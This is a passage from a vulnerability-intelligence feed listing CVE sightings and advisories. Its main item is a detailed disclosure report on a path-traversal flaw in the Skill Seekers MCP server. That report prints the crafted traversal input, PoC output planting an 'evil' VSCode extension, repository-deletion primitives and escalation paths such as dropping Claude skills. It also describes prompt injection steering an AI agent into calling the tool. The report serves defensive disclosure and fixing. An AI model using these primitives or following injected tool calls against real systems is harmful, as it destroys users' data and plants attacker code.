versions prior to 26.3.0 contain an authenticated Stored Cross-Site Scripting (XSS) vulnerability within the RANCID integration settings. The flaw occurs during the generation of the RANCID configuration repository link on the `showconfig` page, where user-supplied input is improperly neutralized before being inserted into an HTML href attribute. An attacker with administrative privileges can execute arbitrary JavaScript in the browser context of other administrators who view the affected page.\n\n## TL;DR\nAn authenticated Stored XSS vulnerability in the LibreNMS `showconfig` page allows administrative users to inject malicious scripts via the RANCID repository URL setting. This script executes when other administrators view the device configuration page, potentially leading to session hijacking or privilege abuse.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-79\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 4.8\n- **EPSS Score**: 0.00004\n- **Impact**: High (Session Hijacking / Privilege Abuse)\n- **Exploit Status**: Proof of Concept Available\n- **CISA KEV**: Not Listed\n\n## Affected Systems\n\n- LibreNMS\n- **LibreNMS**: < 26.3.0 (Fixed in: `26.3.0`)\n\n## Mitigation\n\n- Upgrade to patched software version\n- Disable unused external integrations\n- Restrict administrative privileges\n- Monitor configuration changes\n\n**Remediation Steps:**\n1. Verify current LibreNMS version installed on the server.\n2. If the version is below 26.3.0, schedule a maintenance window.\n3. Back up the LibreNMS database and application files.\n4. Execute the standard LibreNMS upgrade script (e.g., `./daily.sh` or Git pull) to update to 26.3.0 or newer.\n5. Verify functionality of the `showconfig` page to ensure the RANCID repository URL generates correctly without executing injected scripts.\n\n## References\n\n- [NVD Vulnerability Detail - CVE-2026-2728](https://nvd.nist.gov/vuln/detail/CVE-2026-2728)\n- [CVE.org Record - CVE-2026-2728](https://www.cve.org/CVERecord?id=CVE-2026-2728)\n- [Project Black Technical Blog](https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#xss-on-showconfig-page-2630)\n- [LibreNMS GitHub Repository](https://github.com/librenms/librenms)\n- [LibreNMS 26.3.0 Release Notes](https://github.com/librenms/librenms/releases/tag/26.3.0)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-2728) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-05-18T17:10:50.000000Z"}, {"uuid": "1eadffeb-60a5-4fe6-a7b3-2e7a3bd51a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27173", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mma3yjr42d2s", "content": "CVE-2026-27173: Apache Airflow CNCF Kubernetes provider: JWT Token Exposure in KubernetesExecutor Command-Line Arguments", "creation_timestamp": "2026-05-19T19:14:29.977100Z"}, {"uuid": "3d3c1913-114e-4e1b-a1b5-2e8a11e7ab67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27173", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmafattt2v2s", "content": "\ud83d\udfe0 CVE-2026-27173 - High (8.7)\n\nJWT tokens that were used by workers in Kubernetes Executors have been exposed to users who had r...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27173/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-19T22:00:28.664295Z"}, {"uuid": "20d7c860-e32a-4b4b-8c3a-e872676c96f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27173", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmaodrigja2c", "content": "CVE-2026-27173 - Apache Airflow CNCF Kubernetes provider: JWT Token Exposure in KubernetesExecutor Command-Line Arguments\nCVE ID : CVE-2026-27173\n \n Published : May 19, 2026, 8:16 p.m. | 4\u00a0hours, 5\u00a0minutes ago\n \n Description : JWT tokens that were used by workers in Kubernetes...", "creation_timestamp": "2026-05-20T00:42:54.425517Z"}, {"uuid": "edeea256-5919-4e0f-921c-fe279f736de6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27173", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mmav65d56325", "content": "Kubernetes Executor\u3067JWT\u30c8\u30fc\u30af\u30f3\u304c\u6f0f\u6d29\u3002\u8aad\u307f\u53d6\u308a\u5c02\u7528\u30e6\u30fc\u30b6\u30fc\u304c\u30bf\u30b9\u30afSDK\u7d4c\u7531\u3067\u64cd\u4f5c\u3084Airflow DB\u6539\u5909\u3092\u53ef\u80fd\u306b\u3059\u308b\u6050\u308c\u304c\u3042\u308b\u3002\nCVE-2026-27173 CVSS 8.7 | HIGH", "creation_timestamp": "2026-05-20T02:45:01.846989Z"}, {"uuid": "d1345ddd-5012-4536-a172-ccd220e855b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27173", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116605541038752223", "content": "A lot of offensive activities were identified targeting Apache Airflow CNCF Kubernetes Provider (CVE-2026-27173) https://vuldb.com/vuln/364721/cti", "creation_timestamp": "2026-05-20T06:42:41.818861Z"}, {"uuid": "42b5a916-7009-48f1-84c1-4d50a9b5989f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2749", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mmczsw5m4y2x", "content": "CVE-2026-2749 - Critical supply chain attack in Centreon Open Tickets. CVSS 9.9. No patch available yet. Urgently isolate affected systems. #CVE #Centreon #cybersecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-2749/", "creation_timestamp": "2026-05-20T23:13:33.460952Z"}, {"uuid": "f3986431-a6aa-4b5a-aef7-0301e94d6814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2734", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmdta7xnen2p", "content": "CVE-2026-2734 - Authorization Bypass in SearchModelVersions in mlflow/mlflow\nCVE ID : CVE-2026-2734\n \n Published : May 21, 2026, 5:16 a.m. | 30\u00a0minutes ago\n \n Description : In mlflow/mlflow versions up to 3.9.0, the `SearchModelVersions` REST API endpoint and the `mlflowSearch...", "creation_timestamp": "2026-05-21T06:48:23.421394Z"}, {"uuid": "a747348f-96cd-4a82-bac7-66a918de0607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "seen", "source": "https://gist.github.com/Harmenszoon/81518d49d6a29b739782db9f1a603fd6", "content": "# Security Report: Path traversal in `fetch_config` MCP tool \u2014 arbitrary directory deletion, repository destruction, and attacker-controlled content at any filesystem path\n\n**Target:** [yusufkaraaslan/Skill_Seekers](https://github.com/yusufkaraaslan/Skill_Seekers)\n(~14.7k stars; PyPI package `skill-seekers`; ships a FastMCP server and a\nlegacy MCP server \u2014 both affected, same root cause)\n\n**Affected versions:** >= 2.2.0 (git URL mode introduced in\n[v2.2.0, 2025-12-21](https://github.com/yusufkaraaslan/Skill_Seekers/releases/tag/v2.2.0)),\nthrough current `3.9.1` / `3.10.0.dev0` at HEAD (`f3972ef`). No fix exists as of\nthis report.\n\n**CWE-22** \u2014 Improper Limitation of a Pathname to a Restricted Directory\n\n**Severity:** deployment-dependent (see \u00a77 for derivation and per-deployment\ntable). On the shipped Docker/HTTP deployment (binds `0.0.0.0:8765` by\ndefault, no transport authentication):\n**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H = 9.1 Critical**.\nOn a local stdio deployment, reachable via prompt injection -> agent tool\ncall: **8.0 High** (`UI:R`).\n\n**Status:** Confirmed by an offline, sandboxed PoC (\u00a78) verified on **both\nWindows 11 (Python 3.11, git 2.52) and Ubuntu/WSL (Python 3.14, git 2.53)**,\ndriving the real `fetch_config` tool. Not yet reported to the maintainer.\n\n---\n\n## 1. Root cause\n\nThe `fetch_config` MCP tool's *git URL mode* passes the raw, unvalidated\n`config_name` tool argument into a filesystem path with no containment\ncheck:\n\n```python\n# src/skill_seekers/mcp/tools/source_tools.py  (fetch_config_tool, MODE 2)\n# identical pattern in the legacy server: src/skill_seekers/mcp/server_legacy.py:1289\nsource_name_temp = f\"temp_{config_name}\"          # config_name = raw MCP tool arg\nrepo_path = git_repo.clone_or_pull(source_name=source_name_temp, ...)\n\n# src/skill_seekers/services/git_repo.py  (clone_or_pull)\nrepo_path = self.cache_dir / source_name          # lines 71-75: no validation; ../ escapes cache\nif force_refresh and repo_path.exists():\n    shutil.rmtree(repo_path)                      # delete primitive (B)\ntry:\n    if repo_path.exists() and (repo_path / \".git\").exists():\n        ...\n        if token:\n            origin.set_url(clone_url)              # attacker URL replaces origin\n        origin.pull(branch)\n        ...\n        git.Repo.clone_from(clone_url, repo_path, ...)   # write primitive (A)\n    except (InvalidGitRepositoryError, GitCommandError):\n        shutil.rmtree(repo_path)                  # delete primitive (C), lines 96-98\n```\n\nA crafted `config_name` such as `x/../../` (any name resolving\n`cache_dir / f\"temp_{config_name}\"` outside the cache; on Windows the name must\nnot *begin* with `..` because the literal `temp_..` prefix would form an\ninvalid directory name \u2014 `x/../` works as the head segment) escapes the cache\ndirectory. Every branch of `clone_or_pull` reached this way is either\ndestructive or attacker-controlled. All damage is bounded by the permissions\nof the server process.\n\n## 2. Wire reachability (verified in both servers)\n\nThis is not an internal-only API. Every attack parameter is in the tool schema\nthat MCP clients see \u2014 in **both** shipped servers:\n\n* FastMCP (registered tool): `src/skill_seekers/mcp/server_fastmcp.py:1080-1089`\n  \u2014 `config_name: str | None`, `git_url: str | None`, `branch: str = \"main\"`,\n  `token: str | None`, `refresh: bool = False`.\n* Legacy server (advertised `inputSchema`): `server_legacy.py:394-441`\n  \u2014 same five properties in the JSON schema, `\"required\": []`.\n\nTwo attack paths, two deployments:\n\n* **Remote, unauthenticated (Docker/HTTP).** `Dockerfile.mcp` runs HTTP mode\n  **by default**, binds **`0.0.0.0`** (`CMD ... --http --host 0.0.0.0 --port\n  ${PORT:-${MCP_PORT:-8765}}`), is built for cloud platforms (\"Cloud platforms\n  (Render, Railway, etc. set `$PORT` automatically)\"), and ships **no\n  authentication** on the transport. Anyone who can reach the port calls\n  `fetch_config` directly \u2014 no prompt injection, no user interaction.\n* **Local (stdio default).** The canonical 2026 MCP attack applies \u2014 prompt\n  injection into content the agent ingests (Skill Seekers' core use case is\n  scraping untrusted web pages and cloning repos) steers the agent to call\n  `fetch_config` with attacker-chosen arguments. This threat model is\n  established for MCP servers of this class (CVE-2026-27825; the project has\n  already accepted it \u2014 see \u00a74 precedent), and `README.md` explicitly pitches\n  remote usage: `--transport http --port 8765` + \"Then just ask your\n  assistant\".\n\n`validate_git_url` (git_repo.py:249-273) accepts any `http://` or `https://`\nURL with a hostname and path (attacker-controlled content source, even\nplaintext HTTP), SSH `git@` URLs, and `file://` \u2014 it constrains nothing that\nmatters here.\n\n## 3. Confirmed primitives (each PoC-verified on Windows and Ubuntu/WSL)\n\n**A. Arbitrary directory write \u2014 attacker repo cloned to any nonexistent or\nempty path.** `git.Repo.clone_from` clones an attacker-chosen repository \u2014\nattacker-chosen *contents and filenames* \u2014 to any path the process can write.\n(Precondition: target absent or empty \u2014 `git` refuses to clone into an\nexisting non-empty directory; existing non-empty targets are handled by B/C.)\n\n**B. Arbitrary directory delete + replace \u2014 `refresh=true` + existing\ntarget.** `shutil.rmtree` destroys any existing directory, then\n`clone_from` refills it with attacker content. This is also the bypass for\ngit's refuse-nonempty-directory behavior in A. PoC: victim directory\n`['db.sqlite', 'important.txt']` -> `['.git', 'ext.js', 'package.json']`.\n\n**C. Any existing git repository at the traversed path is destroyed \u2014\n`refresh` NOT required.** When the target exists with a `.git` directory,\n`clone_or_pull` takes the pull branch: with any non-None `token`\n(wire-reachable), `origin.set_url(attacker URL)` runs, then `origin.pull`.\nThat pull reliably fails against an attacker repository (unrelated\nhistories / unborn HEAD), and the `except (InvalidGitRepositoryError,\nGitCommandError)` handler at **git_repo.py:96-98 unconditionally runs\n`shutil.rmtree(repo_path)`** \u2014 the victim's repository is destroyed:\n\n* **C1 \u2014 unborn repo** (`git init`, no commits): on POSIX the attacker's\n  repository is **checked out inside the victim's repo** (observed live:\n  attacker commit + `FETCH_HEAD` + `refs/remotes/origin/main` inside the\n  victim's `.git`); on Windows the pull fails and the repo is **deleted**.\n* **C2 \u2014 committed repo with real work**: pull fails (unrelated histories)\n  -> rmtree. **POSIX: repository fully deleted.** **Windows: rmtree aborts at\n  git's read-only object files mid-deletion \u2014 worktree files may survive\n  while `.git` is gutted** (PoC: `README.md` present, **22/26** `.git` files\n  missing \u2014 the history is unrecoverable).\n\nThe attack surface for C is every git repository at a guessable path\n(`~/src/`, `~/.config/` checkouts, deployment dirs), reachable\nthrough a tool whose documented purpose is fetching configuration.\n\n**Damage boundary:** all primitives are bounded by the server process's\npermissions \u2014 non-root user `mcp` in the Docker image, the invoking user\nelsewhere. In the Docker deployment, host-mounted volumes\n(`VOLUME [\"/data\", ...]` plus cloud-platform mounts) are legitimate targets\nfor both destruction (B/C) and writes (A); *within* the container there is\nno VSCode/Claude to auto-load planted content, so the chains below apply to\nhost/non-containerized deployments (or volume-mounted paths the host loads\nfrom).\n\n## 4. Precedent and contrast: this is a bug, not a design choice\n\n* **Accepted threat model.** The identical CWE-22 pattern in this project's\n  `workflow_tools.py` was reported as a security bug (issue\n  [#325](https://github.com/yusufkaraaslan/Skill_Seekers/issues/325), March\n  2026, \"Severity: High\", same CWE, same primitives: \"read, create,\n  overwrite, or delete arbitrary files\") and fixed by the maintainer in PR\n  #326 (+ follow-up `6beff3d`, 6 regression tests, public thanks to the\n  reporter). The git-tools surface shipped the same class in v2.2.0 and was\n  missed.\n* **The input class is validated elsewhere.** `ConfigPublisher.publish`\n  (backing the `push_config` MCP tool) validates this exact input:\n\n  ```python\n  # src/skill_seekers/services/config_publisher.py:125-130\n  # Validate config_name to prevent path traversal\n  if \"/\" in config_name or \"\\\\\" in config_name or \"..\" in config_name:\n      raise ValueError(\n          f\"Invalid config name '{config_name}'. \"\n          \"Path separators (/, \\\\) and traversal sequences (..) are not allowed.\"\n      )\n  ```\n\n  and resolves `source_name` through the registry\n  (`SourceManager.add_source` itself rejects anything but\n  `[a-zA-Z0-9_-]`, source_manager.py:69). `fetch_config` MODE 1 (named\n  sources) inherits that safety; MODE 2 (git URL) bypasses it.\n\n## 5. Secondary: write-side join `destination / config_name`\n\nBoth servers compute `config_file = Path(destination) / f\"{config_name}.json\"`\nand write the fetched config there. This join traverses identically, but is\ncurrently *gated*: it is reached only after `get_config()` succeeds, and\n`get_config` matches by basename (`config_path.name == config_name`), so a\ntraversal-bearing name raises `FileNotFoundError` before the write. Not\nindependently exploitable today; the recommended fix should cover this join\nso a future change to name matching cannot re-open it. No confidentiality\nprimitive is confirmed (the tool returns paths, not victim file contents),\nhence C:N in the CVSS vector.\n\n## 6. Suggested fix\n\nSingle choke point plus defense in depth, mirroring `_validate_name` from\nPR #326 (reuse it, moved to a shared helper):\n\n```python\ndef _safe_path_segment(name: str) -> bool:\n    \"\"\"True if `name` can be used as a single filesystem path segment.\"\"\"\n    return (\n        bool(name)\n        and not name.startswith(\".\")            # no hidden dirs / '..' prefix\n        and \"/\" not in name and \"\\\\\" not in name\n        and \":\" not in name                      # no drive letters / suffix hacks\n        and \"..\" not in name\n    )\n```\n\n1. **`GitConfigRepo.clone_or_pull`** (root cause): reject `source_name`\n   failing the segment check *before* constructing `repo_path` \u2014 protects\n   every caller, present and future.\n2. **`fetch_config_tool` / legacy MODE 2**: validate `config_name` before\n   building `source_name_temp` and before the `config_file` join (\u00a75).\n3. **Regression tests** mirroring the PoC: escape via `x/../` head segment\n   (must work on Windows \u2014 a leading `..` is invalid there once prefixed\n   with `temp_`), rmtree-then-replace with `refresh=true` (B), pull-failure\n   rmtree of an existing repo without `refresh` (C), extension-directory\n   planting (A), and the `config_file` join.\n\n## 7. Severity derivation\n\nPrimary vector, shipped Docker/HTTP default deployment (0.0.0.0:8765, no\ntransport auth):\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H  =  9.1 Critical\n(ISS 0.806; Impact 5.18; Exploitability 3.90)\n```\n\n* **AV:N** \u2014 the Docker image binds 0.0.0.0 by default and is built for cloud\n  deployment; the tool is callable by any network peer.\n* **AC:L** \u2014 one tool call; `validate_git_url` accepts plain `http://`, so\n  the content source is trivially attacker-controlled.\n* **PR:N / UI:N** \u2014 no transport auth, no user interaction on the HTTP path.\n* **C:N** \u2014 no read/disclosure primitive confirmed (\u00a75).\n* **I:H / A:H** \u2014 attacker-chosen content written to arbitrary paths\n  (integrity: A, and C1's POSIX checkout); arbitrary directory and\n  repository destruction (availability: B, C2).\n* **S:U** \u2014 conservative. S:C is arguable for host-mounted-volume impact and\n  would give 9.7; C:H would give 9.8 if a read primitive is later found.\n\nPer-deployment table:\n\n| Deployment | Vector | Score |\n|---|---|---|\n| Docker/HTTP default (0.0.0.0, no auth) | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H | **9.1 Critical** |\n| stdio + prompt injection -> tool call | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H | **8.0 High** |\n| Same, additionally treating the injection as requiring local presence | AV:L/AC:L/PR:N/UI:R/... | 7.8 High |\n\nComparison: CVE-2026-27825 (mcp-atlassian; same CWE-22 class, same\nunauthenticated-HTTP deployment, write primitive -> code execution) was\nrated **9.1 Critical** and became the highest-profile MCP CVE of H1 2026\n(\"MCPwnfluence\", Pluto Security).\n\n## 8. PoC\n\n`poc_skillseekers_traversal.py` (this directory). Requirements: Python\n3.11+, `GitPython`, `httpx`, `requests`, `pyyaml` (transitively imported);\nrepo checked out at `./skill-seekers`. Offline (`file://` attacker repo \u2014\na benign local fixture, no live infrastructure) and fully sandboxed (own\ntemp workspace, no writes outside it).\n\n* Drives the **real tool implementation path**: the registered FastMCP tool\n  `fetch_config` calls `fetch_config_tool` (server_fastmcp.py:1125) \u2014 the\n  PoC calls `fetch_config_tool` directly. It does *not* drive the JSON-RPC\n  wire transport; wire reachability is established separately in \u00a72 (tool\n  schema in both servers).\n* Asserts on **filesystem state**, never on tool success (a tool \"\u274c\"\n  response is expected \u2014 destruction happens before the config-lookup error\n  returns): canary markers must exist/be gone, and `.git` inventories are\n  compared before/after.\n* Verified on **Windows 11 (Python 3.11, git 2.52) and Ubuntu/WSL\n  (Python 3.14, git 2.53)** \u2014 platform-divergent outcomes (C1) are asserted\n  per-platform. Exits non-zero on any assertion failure.\n\n```\n> python poc_skillseekers_traversal.py\n[attack A] attacker file planted OUTSIDE cache: True -> ...victim\\.vscode\\extensions\\evil-1.0.0\\ext.js\n[attack B] before: ['db.sqlite', 'important.txt']  -> after: ['.git', 'ext.js', 'package.json']\n[attack C1] unborn repo: DELETED (Windows) / attacker checkout inside it (POSIX)\n[attack C2] committed repo: README present, 22/26 .git files missing (Windows);\n            fully deleted (POSIX)\nCONFIRMED: fetch_config config_name path traversal (git_repo.clone_or_pull)\n```\n\n## 9. Escalation analysis (not PoC-demonstrated)\n\nOn **host / non-containerized** deployments (or volume paths the host loads\nfrom), primitive A is a *file-placement attack* \u2014 contingent on later user\naction, not code execution at clone time (git transfers no hooks' execution;\n`clone_from` writes files only):\n\n* VSCode extension drop: `~/.vscode/extensions/-1.0.0/` with\n  `package.json` (`activationEvents: [\"*\"]`) + `ext.js` executes on next\n  VSCode start. (Genuine, reviewed extensions require the VSIX-signing\n  path; sideloaded folders do not.)\n* Claude skill drop: `~/.claude/skills//` (SKILL.md + scripts are\n  loaded by Claude Code on the next session).\n* Any interpreter start-up path writable to the user (`sitecustomize.py`,\n  `PYTHONPATH` entries, `*.zshrc`-adjacent paths).\n\nThese are labeled analysis: the PoC demonstrates the placement (attack A\nplants exactly such an extension), while the *load-time* behavior belongs\nto the host applications and is not tested here. In the container deployment\nthe same primitive targets mounted volumes instead.\n\n## 10. Affected call sites\n\n| Location | Role |\n|---|---|\n| `src/skill_seekers/services/git_repo.py:71-75, 96-98` | **Root cause** \u2014 unvalidated `cache_dir / source_name`; two `shutil.rmtree` sites; `set_url`+`pull`; `clone_from`. (`mcp/git_repo.py` is a re-export of this module.) |\n| `src/skill_seekers/mcp/tools/source_tools.py` \u2014 `fetch_config_tool` MODE 2 (line 184) | `source_name_temp = f\"temp_{config_name}\"` |\n| `src/skill_seekers/mcp/server_legacy.py:1289` \u2014 MODE 2 | identical `temp_{config_name}` pattern |\n| `source_tools.py` / `server_legacy.py` \u2014 `config_file = dest_path / f\"{config_name}.json\"` | same-class write-side join (\u00a75) |\n\n## 11. Disclosure plan\n\n1. **Private channel first.** Check\n   `https://github.com/yusufkaraaslan/Skill_Seekers/security/advisories/new`\n   (GitHub private vulnerability reporting is often enabled even without a\n   SECURITY.md; none exists in the repo). If available: submit privately,\n   request an advisory + CVE. Do **not** open a public issue or a public\n   \"fix traversal\" PR before coordination \u2014 that burns the embargo.\n2. **If private reporting is unavailable:** the maintainer's precedent\n   (#325 -> same-day public fix, public credit, tests) makes a\n   security-labeled public issue acceptable. Mirror the #325 report's\n   structure (Summary / CWE / Severity / File / Impact / PoC / Suggested\n   fix), cite #325/#326 as accepted precedent, offer the PoC + this document.\n3. **Post-fix:** publish a writeup on the missed-sibling pattern \u2014 #326\n   fixed `workflow_tools`; `fetch_config`/`git_repo` shipped the same class\n   in v2.2.0 and was missed; `push_config` even contained the right\n   validation (\u00a74). This plus the disclosure is the CVE-track artifact for\n   the Anthropic Fellows (AI Security workstream) application, whose stated\n   standout criteria are \"reported CVEs or been awarded bug bounty\n   vulnerabilities\" and \"experience with pentesting, vulnerability research\".\n\n## 12. Honesty notes / open caveats\n\n* Severity is **deployment-dependent** (table in \u00a77); 9.1 applies to the\n  shipped Docker/HTTP default, 8.0 to the local prompt-injection model.\n* The escalation chains (\u00a79) are file-placement analysis, contingent on host\n  application behavior \u2014 *not* demonstrated RCE, and they do not apply\n  inside the default container (no host apps there; mounted volumes are the\n  in-container target instead).\n* No confidentiality primitive is confirmed; C:N is deliberate. Finding one\n  (e.g. via the \u00a75 join) would raise the score.\n* The introduction commit was not identified (shallow local history); the\n  v2.2.0 release notes and CHANGELOG pin git URL mode to v2.2.0, bounding\n  the affected range from below.\n* The PoC drives the tool implementation path, not the JSON-RPC transport;\n  wire reachability is established from both servers' schemas (\u00a72), not by\n  an over-the-wire call.\n* CVE likelihood is high but not guaranteed: the maintainer's #325 precedent\n  was handled as a public issue + fix **without** a CVE. If the CVE matters,\n  the private advisory path (11.1) is the route \u2014 GitHub's CNA flow attaches\n  one to the advisory.\n", "creation_timestamp": "2026-08-30T20:16:34.489703Z"}, {"uuid": "f20e386c-e1f9-415e-885e-3295f2e8dc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27136", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmhge7mzxk2k", "content": "CVE-2026-27136 - Invoking duplicate attributes can cause XSS in golang.org/x/net/html\nCVE ID : CVE-2026-27136\n \n Published : 22 mai 2026 15:01 | 49\u00a0minutes ago\n \n Description : Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. Th...", "creation_timestamp": "2026-05-22T17:08:37.529225Z"}, {"uuid": "3fbcd926-2602-4129-91fc-ec4033222be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://bsky.app/profile/releaseport.com/post/3mmias3nj2j2c", "content": "opik 2.0.43 patches CVE-2026-27135\nFixes CRITICAL and HIGH CVEs across frontend, backend, and Python components.\nUpgrade carefully.\n\n\u2192 releaseport.com/r/comet-ml-opik/2-0-43", "creation_timestamp": "2026-05-23T01:01:41.011180Z"}, {"uuid": "d55d2817-58ad-49ca-ab33-56a0ad6365bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmlhe422yd2h", "content": "\ud83d\udccc CVE-2026-27960 - OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. In versions 6.6.0 through 6.9.12, there is a priv... https://www.cyberhub.blog/cves/CVE-2026-27960", "creation_timestamp": "2026-05-24T07:37:06.597671Z"}, {"uuid": "506ad374-6cda-4df3-8dff-a837b60ba2af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27886", "type": "seen", "source": "https://bsky.app/profile/packetstorm.bsky.social/post/3mmp76mk5ju2w", "content": "CVE-2026-27886 Vulnerability Assessment Tool https://packetstorm.news/files/221835 ", "creation_timestamp": "2026-05-25T19:21:31.571984Z"}, {"uuid": "f000c665-9ac4-4d8e-bcd9-e3d27c64bcf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/cyberok_news/189", "content": "\ud83d\udcbb \u0423\u0442\u0435\u0447\u043a\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439 \u0432 Nginx UI \u2014 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0434\u0430\u043b \u0432\u0441\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\n\n\u0412 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE\u20112026\u201127944 (CVSS 9.8) \u0432 Nginx UI \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0432\u0435\u0431\u2011\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Nginx. \u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0451 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u0432\u0441\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 (SSL-\u043a\u043b\u044e\u0447\u0438) \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Nginx, \u2014 \u0438 \u0442\u0443\u0442 \u0436\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u043b\u044e\u0447\u0443, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u043c\u0443 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043e\u0442\u0432\u0435\u0442\u0430.\n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431\n\u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 ~500 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 Nginx UI \u0432 \u0420\u0443\u043d\u0435\u0442\u0435, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 35% \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e 